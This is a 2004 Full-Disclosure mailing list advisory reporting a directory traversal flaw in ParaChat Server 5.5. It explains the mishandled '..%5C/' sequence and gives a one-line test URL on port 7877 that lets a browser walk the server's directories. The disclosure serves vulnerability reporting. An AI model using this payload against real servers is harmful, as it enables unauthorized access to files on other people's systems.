[Full-Disclosure] directory traversal in ParaChat Server 5.5
From: Donato Ferrante (fdonato_at_autistici.org)
Date: 09/28/04
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To: <full-disclosure@lists.netsys.com> Date: Tue, 28 Sep 2004 21:12:23 -0000
Donato Ferrante
Application: ParaChat Server
http://www.parachat.com/
Version: 5.5
Bug: directory traversal
Date: 28-Sep-2004
Author: Donato Ferrante
e-mail: fdonato@autistici.org
web: www.autistici.org/fdonato
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1. Description
2. The bug
3. The code
4. The fix
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1. Description:
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Vendor's Description:
"ParaChat Server v5.5 is a fast, easy and affordable way to host and
manage your own real-time communication software - for one web site,
or for multiple web sites."
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2. The bug:
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The server is not able to manage the sequence "..%5C/", that is
equal to "..\/", this lets an attacker to navigate through the
victim system simply using a web browser.
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3. The code:
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To test the vulnerability:
http://[host]:7877/..%5C/..%5C/
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4. The fix:
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Vendor was contacted.
Bug will be fixed in the next version.
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